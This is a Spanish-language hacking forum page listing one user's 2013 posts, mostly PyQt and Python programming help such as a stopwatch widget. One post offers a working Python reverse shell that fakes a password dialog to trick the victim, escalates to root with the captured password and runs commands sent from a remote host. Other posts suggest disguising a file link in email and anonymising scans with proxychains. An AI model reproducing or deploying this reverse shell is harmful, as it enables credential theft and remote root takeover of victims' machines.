Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - WhiZ

#261
Hacking / Re:Underc0de Spy 1.1 LIBERADO AL FIN!!!!
Septiembre 25, 2013, 08:20:07 PM
Excelente CrazyKade! Felicidades por el trabajo!

Q bueno ver q de a poco vaya creciendo la sección de tools del foro.

Saludos!
WhiZ
#262
Talleres Underc0de / Re:[#1] Taller programacion C#
Agosto 27, 2013, 08:38:26 PM
Excelente! Lo estuve mirando y se ve que está muy bien organizado.

Felicidades por el buen trabajo!

Saludos!
WhiZ
#263
Python / Re:[Python-Android] LocateIP 0.1
Agosto 19, 2013, 04:11:08 PM
Q bueno che! No he usado nunca el módulo android. Voy a estudiar tu code a ver si comienzo jeje.

Saludos!
WhiZ
#264
De última, lo que podrías hacer, aunque vas a tener que ingeniártelas un poco para no quedar tan obvio, es subirla a mega, mediafire o alguna de esas páginas y pasar la url acortada en el mail.

Saludos!
WhiZ
#265
O directamente lo podés hacer con JDownloader ;)

Además, con el JD se puede seleccionar calidad.

De todas maneras, nunca está de más conocer otros métodos.

Gracias por el aporte!
Saludos!
WhiZ
#266
A decir verdad, nunca leí ningún manual de pyqt. Creo que hay uno en inglés que es bastante completo pero no te lo podría asegurar.

Particularmente creo que lo mejor es lo que dice @11Sep. Yo uso mucho You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login y riverbankcomputing. Realmente vas a encontrar todo acerca de cada clase y método que quieras utilizar.

Otra opción muy interesante es la que comencé a practicar hace un tiempo (cuando comencé a estudiar java y a usar eclipse). La verdad que desde que lo empecé a utilizar, eclipse me fascinó por varias razones, pero principalmente por 2.

La primera es que me parece 100% organizado. Permite distinguir rápidamente cuáles son las clases con las que estamos trabajando, así como sus métodos y atributos (extremadamente necesario en grandes/medianos proyectos principalmente).

La segunda razón es que permite explorar cada uno de los elementos que componen a una clase. Por ej., cuando pones "objeto." se carga un menú con todos los métodos y atributos de la clase, y no sólo eso, sino que además, al pasar el mouse por encima del método, aparece el código del mismo permitiendo deducir cómo funciona y cómo usarlo.

Probá con eso que vas a andar bien. Para encontrar rápido la documentación de las 2 páginas que te mencioné (pyqt.sourceforge.net y riverbankcomputing) usa google (escribis "pyqt qlabel", por ej., y vas a ver q aparece alguna de esas dos páginas con la documentación completa).

Saludos!
WhiZ
#267
Para que funcione tenés que escribir self.close().

Voy a hacer una observación que espero que no te ofenda (ya que no es mi intención; sólo quiero darte una mano ;)).

La verdad es que me parece que estás haciendo algunas cosas sin entender bien porqué, lo cual lo atribuyo a que te falta un poco de práctica con POO, así como con PyQt.

Ojo! No es que vengas mal (todo lo contrario), pero creo que podrías mejorar si cambiaras algunas cosas:

    1. Tendrías que ordenar un poquito más tu código.

    2. Yo empezaría escribiendo programas "manualmente" y luego seguiría con QtDesigner (esto te lo digo para familiarizarte más rápido con PyQt).
        Creo que si empezás con QtDesigner de una, vas a delegar muchos líneas al programa y a dificultar el entendimiento del código (aquí te pasó con los Signals&Slots, por ej.).

Me parece estupendo que estés tan avanzado ya en python. Si le seguís metiendo garra como hasta ahora, cuando te quieras acordar ya vas a estar haciendo grandes proyectos con PyQt.

Espero que te sirvan mis recomendaciones y, por supuesto, si tenés alguna duda o necesitas ayuda con algo, no dudes en postear (intentando ayudarte yo tmb aprendo y practico).

Saludos!
WhiZ

P.D.: Hay unas cuantas cosas para corregir en el código, pero te dejo que vos lo investigues ;).
#268
jeje me cope y le agregué algunas cosas :)

Código: python
#!/usr/bin/python
#-- coding: utf-8 --

import sys
from PyQt4 import QtGui, QtCore

class Example(QtGui.QWidget):

    def __init__(self):
        super(Example, self).__init__()
        self.initUI()

    def initUI(self):

        self.lcd = QtGui.QLCDNumber(self)
        self.lcd.setGeometry(30, 40, 200, 25)
        self.lcd.display('0:0:0')

        self.btnIniciar = QtGui.QPushButton('Start', self)
        self.btnIniciar.move(28, 80)
        self.btnIniciar.clicked.connect(self.doAction)

        self.btnReiniciar = QtGui.QPushButton('Restart', self)
        self.btnReiniciar.move(145, 80)
        self.btnReiniciar.clicked.connect(self.restart)

        self.timer = QtCore.QBasicTimer()
        self.c = 0  # centésima
        self.s = 0  # segundo
        self.h = 0  # minuto
        self.m = 0  # hora

        self.setGeometry(550, 350, 260, 150)
        self.setWindowTitle('QtGui.QLCDNumber')
        self.show()

    def timerEvent(self, e):
               
        if self.c >= 100:
            self.c = 0
            if self.s < 60:
                self.s += 1
                self.lcd.display("%d:%d:%d" % (self.h,self.m,self.s))
            else:
                self.s = 0
                if self.m < 60:
                    self.m += 1
                    self.lcd.display("%d:%d:%d" % (self.h,self.m,self.s))
                else:
                    self.m = 0
                    self.h += 1
                    self.lcd.display("%d:%d:%d" % (self.h,self.m,self.s))
        else:
            self.c += 1

    def doAction(self):

        if self.timer.isActive():
            self.timer.stop()
            self.btnIniciar.setText('Start')
        else:
            self.timer.start(10, self)
            self.btnIniciar.setText('Stop')
           
    def restart(self):
        self.c = 0
        self.s = 0
        self.m = 0
        self.h = 0
        self.lcd.display("%d:%d:%d" % (self.h,self.m,self.s))

def main():

    app = QtGui.QApplication(sys.argv)
    ex = Example()
    sys.exit(app.exec_())

if __name__ == '__main__':
        main()


Saludos!
WhiZ
#269
Hola! Acá te dejo el code funcionando. Le podrías agregar una opción para reiniciar el conteo si se desea ;).

Código: python
#!/usr/bin/python
#-- coding: utf-8 --

import sys
from PyQt4 import QtGui, QtCore

class Example(QtGui.QWidget):

    def __init__(self):
        super(Example, self).__init__()
        self.initUI()

    def initUI(self):

        self.lcd = QtGui.QLCDNumber(self)
        self.lcd.setGeometry(30, 40, 200, 25)

        self.btn = QtGui.QPushButton('Start', self)
        self.btn.move(40, 80)
        self.btn.clicked.connect(self.doAction)

        self.timer = QtCore.QBasicTimer()
        self.step = 0
        self.s = 0
        self.h = 0
        self.m = 0

        self.setGeometry(300, 300, 280, 170)
        self.setWindowTitle('QtGui.QLCDNumber')
        self.show()

    def timerEvent(self, e):
               
        if self.step >= 100:
            self.step = 0
            if self.s < 60:
                self.s += 1
                self.lcd.display("%d:%d:%d" % (self.h,self.m,self.s))
            else:
                self.s = 0
                if self.m < 60:
                    self.m += 1
                    self.lcd.display("%d:%d:%d" % (self.h,self.m,self.s))
                else:
                    self.m = 0
                    self.h += 1
                    self.lcd.display("%d:%d:%d" % (self.h,self.m,self.s))
        else:
            self.step += 1

    def doAction(self):

        if self.timer.isActive():
            self.timer.stop()
            self.btn.setText('Start')
        else:
            self.timer.start(10, self)
            self.btn.setText('Stop')

def main():

    app = QtGui.QApplication(sys.argv)
    ex = Example()
    sys.exit(app.exec_())

if __name__ == '__main__':
        main()


Fijate que en tu code confundiste el step con el segundo, el segundo con el minuto y el minuto con la hora.
Además creaste las variables h y m dentro del método que ataja al evento, por lo que cada vez que aumentaba el valor de step, a h y m se les asignaba el valor 0.

Saludos!
WhiZ

EDITO: Ah! otra cosa. Como dijiste que lo querías en formato hora, el contador no tiene límite para la misma, es decir, no está configurado para reiniciar la variable hora cuando su valor supera los 24. Supuse que así lo querías, pero si lo querés cambiar sólo tenés que hacer lo mismo que veníamos haciendo para las centésimas, los segundos y los minutos.
#270
Dudas y pedidos generales / Re:Anonimizarse en bugtraq
Agosto 11, 2013, 06:51:34 PM
Nono, es como siempre:
Código: text
proxychains nmap ip


Eso significa que debes configurar primero privoxy y luego usar proxychains.

Saludos!
WhiZ

EDITO: Acá encontré esta You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login que te enseña a configurar todo.
#271
Dudas y pedidos generales / Re:Anonimizarse en bugtraq
Agosto 11, 2013, 06:11:11 PM
Como dice @k4r0nt3, podés usar proxychains combinado con tor.

Tal vez no sea tan bueno como una VPN paga pero es una buena alternativa.

Saludos!
WhiZ
#272
Underc0de / Re:Underc0de Shell Collection!
Julio 07, 2013, 10:41:43 AM
Excelente! Puede ser algunos archivos rar se encuentren vacíos??? Me pasó con los 3 de Python q intenté utilizar.

El rar lo descargo sin problemas pero el archivo parece estar vacío.

Estoy con linux (no probé en windows).

Gracias!
WhiZ
#273
Se realiza de la siguiente manera:

Código: python

class Coche:
    def arranca(self):
        coche = "on" # Tener en cuenta que ésta es una variable local (no se si esa es la intención).
    def para(self):
        coche = "off" # Lo mismo para ésta otra variable

miCoche = Coche()
miCoche.arranca() # Llamamos al método "arranca"
miCoche.para() # Llamamos al método "para"


Ojo con el self, las comillas y la variable "coche". Esta última constituye una variable propia de cada método. Esto significa que vas a tener 2 variables coche: una para cada método y con su valor respectivo.

Saludos!
WhiZ
#274
Python / ReverseRootShell con Python
Junio 22, 2013, 07:28:23 PM
Hola Gente! Cómo les va?

Esta vez vengo con un pequeño programita que escribí cuya función es conseguir una reverse shell con privilegios de root.

Para ello utilicé 2 herramientas: zenity y pexpect.

Con zenity creo un form que solicita la password al usuario remoto (una especie de ingeniería social) y con pexpect ejecuto una shell con privilegios de root ('sudo /bin/bash') e ingreso la contraseña introducida anteriormente por la víctima.

Bueno, por supuesto que uso sockets para establecer la conexión entre las 2 PCs.

Aquí el código:

Código: python

#!/usr/bin/python
# -*- coding: utf-8 -*-
# Autor: WhiZ

from pexpect import spawn, run
import socket

class ReverseRootShell(object):

def __init__(self):

# Obtenemos la contraseña del root
self.passwd = self.obtienePasswd()

# Nos conectamos al cliente
self.servidor = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.servidor.connect(('192.168.0.131', 2236))

# Obtenemos la shell como root
self.obtieneRootShell()

# Escuchamos al cliente
self.escuchaCliente()

self.servidor.close()

def obtienePasswd(self):

zenity = '''zenity --password --title="Autenticación"'''

passwd = run(zenity).replace('\n', '')
return passwd

def obtieneRootShell(self):

# Ejecutamos la shell como root
self.child = spawn('sudo /bin/bash')

# Enviamos la contraseña ingresada anteriormente
# por el usuario
self.child.sendline(self.passwd)

# Enviamos el output al host remoto
salida = self.child.next() + self.passwd + '\n'
self.servidor.send(salida)

def escuchaCliente(self):

while True:
recibido = self.servidor.recv(1024)

if recibido == 'Desconectar':
break

else:
self.ejecutaComando(recibido)

def ejecutaComando(self, comando):

# Ejecutamos el comando (siempre como root)
self.child.sendline(comando)

# Enviamos el output al host remoto

while True:

try:
salida =  self.child.read_nonblocking(timeout=5)
self.servidor.send(salida)

# NOTA: Como es un poco complicado manejar el output
# con pexpect, lo que hice fue frenar el bucle tras
# 5 segundos de inactividad.
# Esto significa que si utilizamos comandos 'lentos'
# por ej., escaneamos la red con nmap, deberemos
# presionar la tecla 'enter' cada tanto para ir
# cargando los datos que vayan apareciendo

except:
break

rrs = ReverseRootShell()


De más está decir que hay mucho que mejorar, pero no me aguantaba asiq lo compartí jeje.

De todas maneras, mi idea es crear una herramienta de ingeniería social para linux, por lo que hay muchas alternativas a la hora de mejorar el código (depende del tipo de engaño que se nos ocurra). Por otro lado, quedan muchas cosas para agregar que son independientes del engaño que implementemos (por ejemplo, la persistencia).

A medida que lo vaya mejorando voy a ir actualizando el post.

Eso es todo.

Saludos!
WhiZ
#275
Podrías probar con el módulo parser. Está muy bueno para manejar los argumentos.

Saludos!
WhiZ
#276
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
gracias por compartir
solo que no entiendo
Para usar el backtrack toca instalarlo?
porque lo tengo en el dvd y hay la mitad de las herramientas que todo el mundo menciona
y la verdad no se abre ningun programa solo se abre
la consola
:S

Para iniciar la parte gráfica es necesario escribir 'startx' en la consola.

Espero que sea eso. Cualquier cosa comenta.

Saludos!
WhiZ
#277
Dudas y pedidos generales / Re:Duda con NetCat
Junio 12, 2013, 06:27:21 AM
Ademas, con metasploit puedes crear un backdoor sin necesidad de usar nc.

De todas maneras, como dice @CrazyKade, esta muy bien que uses nc y uses tu imaginacion.
Eso te obligara a hacer todo un poco mas 'manual', con lo que aprenderas muchos conceptos y estrategias nuevas.

Saludos.
WhiZ
#278
En el módulo auxiliary existen diversos sistemas de explotación, escaneo y descubrimiento del sistema.

CitarThe Metasploit Framework includes hundreds of auxiliary modules that perform scanning, fuzzing, sniffing, and much more. Although these modules will not give you a shell, they are extremely valuable when conducting a penetration test.

Mira esta You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.

Saludos.
WhiZ
#279
Muy bueno. Una forma más sencilla de hacerlo es con el módulo SimpleHTTPServer de python.

Para hacerlo, simplemente vamos por consola al directorio en el que se encuentra nuestro index.html y escribimos:

Código: bash
python -m SimpleHTTPServer [puerto]


Y listo. Nuestro servidor web ya está funcionando. Sólo nos queda realizar el trabajo con ettercap.

Saludos!
WhiZ
#280
Te fijaste en HKEY_CURRENT_USER >> Software >> Microsoft >> Windows >> Current Version >> Run ???

Por lo que vi, solamente te fijaste en HKEY_LOCAL_MACHINE. Como dijo Antrax, tal vez encuentres algo en el HKCU.

Saludos.
WhiZ